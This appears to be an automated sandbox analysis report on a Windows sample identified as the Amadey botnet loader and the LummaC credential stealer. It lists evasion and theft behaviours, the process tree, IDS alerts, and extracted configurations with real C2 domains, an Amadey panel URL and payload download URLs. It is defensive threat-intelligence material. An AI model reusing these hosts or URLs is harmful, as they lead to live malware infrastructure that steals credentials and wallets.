Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578688
MD5:	ee12d8b8ca1b5a57024aa4543b3865eb
SHA1:	956606c8966a69d7e34a7ca2008e50440b3686fc
SHA256:	6519acfeab8705862fee44a34934eca2960d93f1cec000b2ee5552926865cf31
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected LummaC Stealer

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6588 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EE12D8B8CA1B5A57024AA4543B3865EB)

skotes.exe (PID: 6044 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: EE12D8B8CA1B5A57024AA4543B3865EB)

skotes.exe (PID: 4464 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EE12D8B8CA1B5A57024AA4543B3865EB)

skotes.exe (PID: 404 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EE12D8B8CA1B5A57024AA4543B3865EB)

623cea31e9.exe (PID: 1440 cmdline: "C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 2208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

623cea31e9.exe (PID: 1028 cmdline: "C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

0a60e3a257.exe (PID: 6856 cmdline: "C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe" MD5: 25FB9C54265BBACC7A055174479F0B70)

521206d971.exe (PID: 6448 cmdline: "C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

521206d971.exe (PID: 2024 cmdline: "C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

9c795b1b74.exe (PID: 3900 cmdline: "C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe" MD5: 3FBE557C7EC8409F30604B0F5E365F70)

a219613819.exe (PID: 5236 cmdline: "C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe" MD5: 35E2C99A2FED28F4148EF7F4C1431DF4)

173fa614c9.exe (PID: 4828 cmdline: "C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

conhost.exe (PID: 6780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

173fa614c9.exe (PID: 4340 cmdline: "C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: LummaC

{"C2 url": ["aspecteirs.lat", "rapeflowwj.lat", "grannyejh.lat", "discokeyus.lat", "pancakedipyps.click", "crosshuaht.lat", "sustainskelet.lat", "energyaffai.lat", "necklacebudi.lat"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.2672043210.0000000005610000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2592210223.0000000000D17000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2665450107.0000000003023000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000003.2313954308.0000000004920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1746560689.0000000004920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2591618235.0000000000D67000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1718412453.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1784872466.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2591861474.0000000000D17000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000003.1744152800.0000000005500000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 623cea31e9.exe PID: 1028	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 623cea31e9.exe PID: 1028	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 623cea31e9.exe PID: 1028	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0a60e3a257.exe PID: 6856	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0a60e3a257.exe PID: 6856	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0a60e3a257.exe PID: 6856	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 521206d971.exe PID: 6448	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 521206d971.exe PID: 2024	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author
14.2.521206d971.exe.5610000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
14.2.521206d971.exe.3e2d790.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.file.exe.1000000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.eb0000.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:17.639279+0100	2028371	3	Unknown Traffic	192.168.2.4	49788	104.21.23.76	443	TCP
2024-12-20T04:12:19.630066+0100	2028371	3	Unknown Traffic	192.168.2.4	49790	104.21.23.76	443	TCP
2024-12-20T04:12:22.063901+0100	2028371	3	Unknown Traffic	192.168.2.4	49800	104.21.23.76	443	TCP
2024-12-20T04:12:24.073811+0100	2028371	3	Unknown Traffic	192.168.2.4	49806	104.21.91.209	443	TCP
2024-12-20T04:12:24.832883+0100	2028371	3	Unknown Traffic	192.168.2.4	49808	104.21.23.76	443	TCP
2024-12-20T04:12:26.069132+0100	2028371	3	Unknown Traffic	192.168.2.4	49811	104.21.91.209	443	TCP
2024-12-20T04:12:27.696827+0100	2028371	3	Unknown Traffic	192.168.2.4	49816	104.21.23.76	443	TCP
2024-12-20T04:12:31.148949+0100	2028371	3	Unknown Traffic	192.168.2.4	49829	104.21.23.76	443	TCP
2024-12-20T04:12:31.162617+0100	2028371	3	Unknown Traffic	192.168.2.4	49830	104.21.91.209	443	TCP
2024-12-20T04:12:33.613968+0100	2028371	3	Unknown Traffic	192.168.2.4	49839	104.21.23.76	443	TCP
2024-12-20T04:12:33.720921+0100	2028371	3	Unknown Traffic	192.168.2.4	49840	104.21.91.209	443	TCP
2024-12-20T04:12:35.943375+0100	2028371	3	Unknown Traffic	192.168.2.4	49847	104.21.91.209	443	TCP
2024-12-20T04:12:38.810388+0100	2028371	3	Unknown Traffic	192.168.2.4	49855	104.21.23.76	443	TCP
2024-12-20T04:12:39.003231+0100	2028371	3	Unknown Traffic	192.168.2.4	49856	104.21.91.209	443	TCP
2024-12-20T04:12:41.814275+0100	2028371	3	Unknown Traffic	192.168.2.4	49866	104.21.91.209	443	TCP
2024-12-20T04:12:45.480989+0100	2028371	3	Unknown Traffic	192.168.2.4	49876	104.21.91.209	443	TCP
2024-12-20T04:13:06.596770+0100	2028371	3	Unknown Traffic	192.168.2.4	49931	104.131.68.180	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:18.396087+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49788	104.21.23.76	443	TCP
2024-12-20T04:12:20.436633+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49790	104.21.23.76	443	TCP
2024-12-20T04:12:24.831215+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49806	104.21.91.209	443	TCP
2024-12-20T04:12:26.910683+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49811	104.21.91.209	443	TCP
2024-12-20T04:12:39.587670+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49855	104.21.23.76	443	TCP
2024-12-20T04:12:46.540860+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49876	104.21.91.209	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:18.396087+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49788	104.21.23.76	443	TCP
2024-12-20T04:12:24.831215+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49806	104.21.91.209	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:20.436633+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49790	104.21.23.76	443	TCP
2024-12-20T04:12:26.910683+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49811	104.21.91.209	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:13:06.596770+0100	2058223	1	Domain Observed Used for C2 Detected	192.168.2.4	49931	104.131.68.180	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:17.639279+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49788	104.21.23.76	443	TCP
2024-12-20T04:12:19.630066+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49790	104.21.23.76	443	TCP
2024-12-20T04:12:22.063901+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49800	104.21.23.76	443	TCP
2024-12-20T04:12:24.832883+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49808	104.21.23.76	443	TCP
2024-12-20T04:12:27.696827+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49816	104.21.23.76	443	TCP
2024-12-20T04:12:31.148949+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49829	104.21.23.76	443	TCP
2024-12-20T04:12:33.613968+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49839	104.21.23.76	443	TCP
2024-12-20T04:12:38.810388+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49855	104.21.23.76	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:16.094158+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49781	185.215.113.43	80	TCP
2024-12-20T04:12:24.507348+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49807	185.215.113.43	80	TCP
2024-12-20T04:12:31.844821+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49831	185.215.113.43	80	TCP
2024-12-20T04:12:44.111462+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49872	185.215.113.43	80	TCP
2024-12-20T04:12:56.403489+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49904	185.215.113.43	80	TCP
2024-12-20T04:13:03.190088+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49921	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:13:03.551834+0100	2058212	1	Domain Observed Used for C2 Detected	192.168.2.4	61588	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:13:03.886289+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.4	57416	1.1.1.1	53	UDP
2024-12-20T04:13:04.948708+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.4	57416	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:16.071000+0100	2058397	1	Domain Observed Used for C2 Detected	192.168.2.4	58053	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:25.735486+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49808	104.21.23.76	443	TCP
2024-12-20T04:12:34.538102+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49840	104.21.91.209	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:05.965039+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:14.759680+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49764	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:12:10.672746+0100	2803305	3	Unknown Traffic	192.168.2.4	49766	31.41.244.11	80	TCP
2024-12-20T04:12:17.540269+0100	2803305	3	Unknown Traffic	192.168.2.4	49783	31.41.244.11	80	TCP
2024-12-20T04:12:25.976289+0100	2803305	3	Unknown Traffic	192.168.2.4	49810	31.41.244.11	80	TCP
2024-12-20T04:12:33.292914+0100	2803305	3	Unknown Traffic	192.168.2.4	49838	31.41.244.11	80	TCP
2024-12-20T04:12:45.569229+0100	2803305	3	Unknown Traffic	192.168.2.4	49875	31.41.244.11	80	TCP
2024-12-20T04:12:57.897057+0100	2803305	3	Unknown Traffic	192.168.2.4	49909	31.41.244.11	80	TCP
2024-12-20T04:13:04.835841+0100	2803305	3	Unknown Traffic	192.168.2.4	49926	31.41.244.11	80	TCP

ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T04:11:05.497627+0100	2822521	1	Domain Observed Used for C2 Detected	104.131.68.180	443	192.168.2.4	49931	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click

Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://.css
Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2953163550.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4
Source: skotes.exe, 00000006.00000002.2953163550.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exe
Source: skotes.exe, 00000006.00000002.2953163550.000000000087F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2953163550.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.2953163550.000000000087F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe84760
Source: skotes.exe, 00000006.00000002.2953163550.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exet
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe1
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe6
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe60ac02b4ded8abeee1fbc770934541bf5d
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe7d1
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe7d1az
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe=
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exeE
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exeP
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exeX
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exea219613819.exeC
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exeed
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exe
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe.
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe(
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
